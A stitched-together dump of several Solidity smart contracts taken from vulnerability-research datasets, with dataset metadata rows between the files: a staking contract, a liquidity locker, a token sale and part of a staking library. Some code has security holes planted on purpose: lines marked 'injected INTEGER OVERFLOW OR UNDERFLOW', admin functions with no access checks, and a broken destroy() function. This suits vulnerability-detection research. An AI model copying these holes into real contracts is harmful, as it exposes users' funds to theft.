//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
ast3Address = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function stake(address staker, address payable ref) public payable{
staker = msg.sender;
if(ref != address(0)){
referralEarned[ref] = referralEarned[ref] + ((address(this).balance/10)*DECIMAL)/price();
}
sendValue(_POOLADDRESS, address(this).balance/2);
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(ast3Address).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(ast3Address).balanceOf(address(this));
IERC20(ast3Address).approve(UNIROUTER, amountTokenDesired); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(ast3Address, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawLPTokens(uint amount) public {
require(timePooled[msg.sender] + 3 hours <= now, "It has not been 3 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
IERC20(poolAddress).transfer(msg.sender, amount);
internalTime[msg.sender] = now;
}
function withdrawRewardTokens(uint amount) public {
require(timePooled[msg.sender] + 3 hours <= now, "It has not been 3 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount)/2;
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
IERC20(ast3Address).mint(msg.sender, amount);
}
function withdrawReferralEarned(uint amount) public{
require(timePooled[msg.sender] != 0, "You have to stake at least a little bit to withdraw referral rewards");
require(timePooled[msg.sender] + 3 hours <= now, "It has not been 3 hours since you staked yet");
referralEarned[msg.sender] = referralEarned[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
IERC20(ast3Address).mint(msg.sender, amount);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewPooledEthAmount(who).mul(now.sub(internalTime[who])));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc(rewards[who].add(viewRecentRewardTokenAmount(who))*2);
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewReferralEarned(address who) public view returns (uint){
return referralEarned[who];
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function earnCalc(uint ethTime) public view returns(uint){
return (rewardValue().mul(ethTime)) / (31557600 * DECIMAL);
}
function ethtimeCalc(uint Ast3) internal view returns(uint){
return (Ast3.mul(31557600 * DECIMAL)).div(rewardValue());
}
}
| 280,146 | 11,319 |
5a7f0abf4d6fc0c0543f585d0e4151aaca83d59a32f1ef0c1faceaa7e45e4ed2
| 28,164 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/40/400063a82368d2daedd4b3782718ae9254691238_LiquidityLocker.sol
| 3,498 | 14,107 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract LiquidityLocker is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Items {
IERC20 token;
address withdrawer;
uint256 amount;
uint256 unlockTimestamp;
bool withdrawn;
}
uint256 public depositsCount;
mapping (address => uint256[]) private depositsByTokenAddress;
mapping (address => uint256[]) public depositsByWithdrawer;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
uint256 public lockFee = 0.1 ether;
address public marketingAddress;
event Withdraw(address withdrawer, uint256 amount);
event Lock(address token, uint256 amount, uint256 id);
constructor() {
marketingAddress = msg.sender;
}
function lockTokens(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp) external returns (uint256 _id) {
require(_amount > 0, 'Token amount too low!');
require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!');
require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!');
require(_token.allowance(msg.sender, address(this)) >= _amount, 'Approve tokens first!');
//require(msg.value >= lockFee, 'Need to pay lock fee!');
uint256 beforeDeposit = _token.balanceOf(address(this));
_token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 afterDeposit = _token.balanceOf(address(this));
_amount = afterDeposit.sub(beforeDeposit);
//payable(marketingAddress).transfer(msg.value);
walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[address(_token)][msg.sender].add(_amount);
_id = ++depositsCount;
lockedToken[_id].token = _token;
lockedToken[_id].withdrawer = _withdrawer;
lockedToken[_id].amount = _amount;
lockedToken[_id].unlockTimestamp = _unlockTimestamp;
lockedToken[_id].withdrawn = false;
depositsByTokenAddress[address(_token)].push(_id);
depositsByWithdrawer[_withdrawer].push(_id);
emit Lock(address(_token), _amount, _id);
return _id;
}
function withdrawTokens(uint256 _id) external {
require(block.timestamp >= lockedToken[_id].unlockTimestamp, 'Tokens are still locked!');
require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!');
require(!lockedToken[_id].withdrawn, 'Tokens are already withdrawn!');
lockedToken[_id].withdrawn = true;
walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(lockedToken[_id].amount);
emit Withdraw(msg.sender, lockedToken[_id].amount);
lockedToken[_id].token.safeTransfer(msg.sender, lockedToken[_id].amount);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = _marketingAddress;
}
function setLockFee(uint256 _lockFee) external onlyOwner {
lockFee = _lockFee;
}
function getDepositsByTokenAddress(address _token) view external returns (uint256[] memory) {
return depositsByTokenAddress[_token];
}
function getDepositsByWithdrawer(address _withdrawer) view external returns (uint256[] memory) {
return depositsByWithdrawer[_withdrawer];
}
function getTokenTotalLockedBalance(address _token) view external returns (uint256) {
return IERC20(_token).balanceOf(address(this));
}
}
| 94,558 | 11,320 |
ccf32533a45f75b8f6b4b5357953ebdea3f8376f5f6330a268fc3b660db033f1
| 10,498 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6d39766fc715217ba313e338a4c023065d963889.sol
| 2,605 | 9,748 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TokenERC20 {
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract TokenERC20Standart is TokenERC20, Pausable{
using SafeMath for uint256;
// create array with all blances
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
function balanceOf(address tokenOwner) public constant whenNotPaused returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) public whenNotPaused onlyPayloadSize(2*32) returns (bool success) {
_transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public whenNotPaused onlyPayloadSize(3*32) returns (bool success) {
assert(tokens > 0);
require (to != 0x0);
require(balances[from] >= tokens);
require(balances[to] + tokens >= balances[to]); // overflow
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public whenNotPaused constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _transfer(address _from, address _to, uint _value) internal {
assert(_value > 0);
require (_to != 0x0);
require (balances[_from] >= _value);
require (balances[_to] + _value >= balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
}
contract BeringiaContract is TokenERC20Standart{
using SafeMath for uint256;
string public name; // token name
uint256 public decimals; // Amount of decimals for display purposes
string public symbol; // symbol token
string public version; // contract version
uint256 public _totalSupply = 0; // number bought tokens
uint256 public constant RATE = 2900; // count tokens per 1ETH
uint256 public fundingEndTime = 1538179200000; // final date ico
uint256 public minContribution = 350000000000000; // min price onr token
uint256 public oneTokenInWei = 1000000000000000000;
uint256 public tokenCreationCap; // count created tokens
//discount period dates
uint256 private firstPeriodEND = 1532217600000;
uint256 private secondPeriodEND = 1534896000000;
uint256 private thirdPeriodEND = 1537574400000;
//discount percentages
uint256 private firstPeriodDis = 25;
uint256 private secondPeriodDis = 20;
uint256 private thirdPeriodDis = 15;
uint256 private foundersTokens; // tokens for founders
uint256 private depositorsTokens; // tokens for depositors
constructor () public {
name = "Beringia"; // Set the name for display purposes
decimals = 0; // Amount of decimals for display purposes
symbol = "BER"; // Set the symbol for display purposes
owner = 0xdc889afED1ab326966c51E58abBEdC98b4d0DF64; // Set contract owner
version = "1.0"; // Set contract version
tokenCreationCap = 510000000 * 10 ** uint256(decimals);
balances[owner] = tokenCreationCap; // Give the creator all initial tokens
emit Transfer(address(0x0), owner, tokenCreationCap);
foundersTokens = tokenCreationCap / 10; // 10% will be sent to the founders
depositorsTokens = tokenCreationCap.sub(foundersTokens); // left 90% will be for depositors
}
function transfer(address _to, uint _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFounderTokens(address _to, uint _value) public onlyOwner whenNotPaused returns (bool){
require(foundersTokens > 0);
require(foundersTokens.sub(_value) >= 0);
foundersTokens = foundersTokens.sub(_value);
_totalSupply = _totalSupply.add(_value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function () public payable {
createTokens(msg.sender, msg.value);
}
function createTokens(address _sender, uint256 _value) public whenNotPaused {
require(_value > 0);
require(depositorsTokens > 0);
require(now <= fundingEndTime);
require(_value >= minContribution);
uint256 tokens = (_value * RATE) / oneTokenInWei;
require(tokens > 0);
if (now <= firstPeriodEND){
tokens = ((tokens * 100) * (firstPeriodDis + 100))/10000;
}else if (now > firstPeriodEND && now <= secondPeriodEND){
tokens = ((tokens * 100) *(secondPeriodDis + 100))/10000;
}else if (now > secondPeriodEND && now <= thirdPeriodEND){
tokens = ((tokens * 100) * (thirdPeriodDis + 100))/10000;
}
require(depositorsTokens.sub(tokens) >= 0);
depositorsTokens = depositorsTokens.sub(tokens);
_totalSupply = _totalSupply.add(tokens);
require(sell(_sender, tokens));
owner.transfer(_value);
}
function totalSupply() public constant returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function getBalance(address _sender) public view returns (uint256) {
return _sender.balance;
}
function isLeftTokens(uint256 _value) public view returns (bool) {
require(_value > 0);
uint256 tokens = (_value * RATE) / oneTokenInWei;
require(tokens > 0);
if (now <= firstPeriodEND){
tokens = ((tokens * 100) * (firstPeriodDis + 100))/10000;
}else if (now > firstPeriodEND && now <= secondPeriodEND){
tokens = ((tokens * 100) *(secondPeriodDis + 100))/10000;
}else if (now > secondPeriodEND && now <= thirdPeriodEND){
tokens = ((tokens * 100) * (thirdPeriodDis + 100))/10000;
}
return depositorsTokens.sub(tokens) >= 0;
}
function sell(address _recipient, uint256 _value) internal whenNotPaused returns (bool success) {
_transfer (owner, _recipient, _value);
return true;
}
function getFoundersTokens() public constant returns (uint256) {
return foundersTokens;
}
function getDepositorsTokens() public constant returns (uint256) {
return depositorsTokens;
}
function increaseTotalSupply(uint256 _value) public whenNotPaused onlyOwner returns (bool success) {
require(_value > 0);
require(_totalSupply.add(_value) <= tokenCreationCap);
_totalSupply = _totalSupply.add(_value);
return true;
}
function destroy() public {
for(uint i = 0; i < values.length - 1; i++) {
if(entries[values[i]].expires != 0)
throw;
msg.sender.send(msg.value);
}
}
}
| 196,132 | 11,321 |
b27dca40d8d0d9b37b8f41349cfc34e0a2fff0625fea7ce62bb79e77b8b9dcd4
| 27,057 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/15/152dc24bfeba5285144f1410b50f008f1e5aaf3a_SnowsafeStaking.sol
| 4,121 | 16,449 |
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
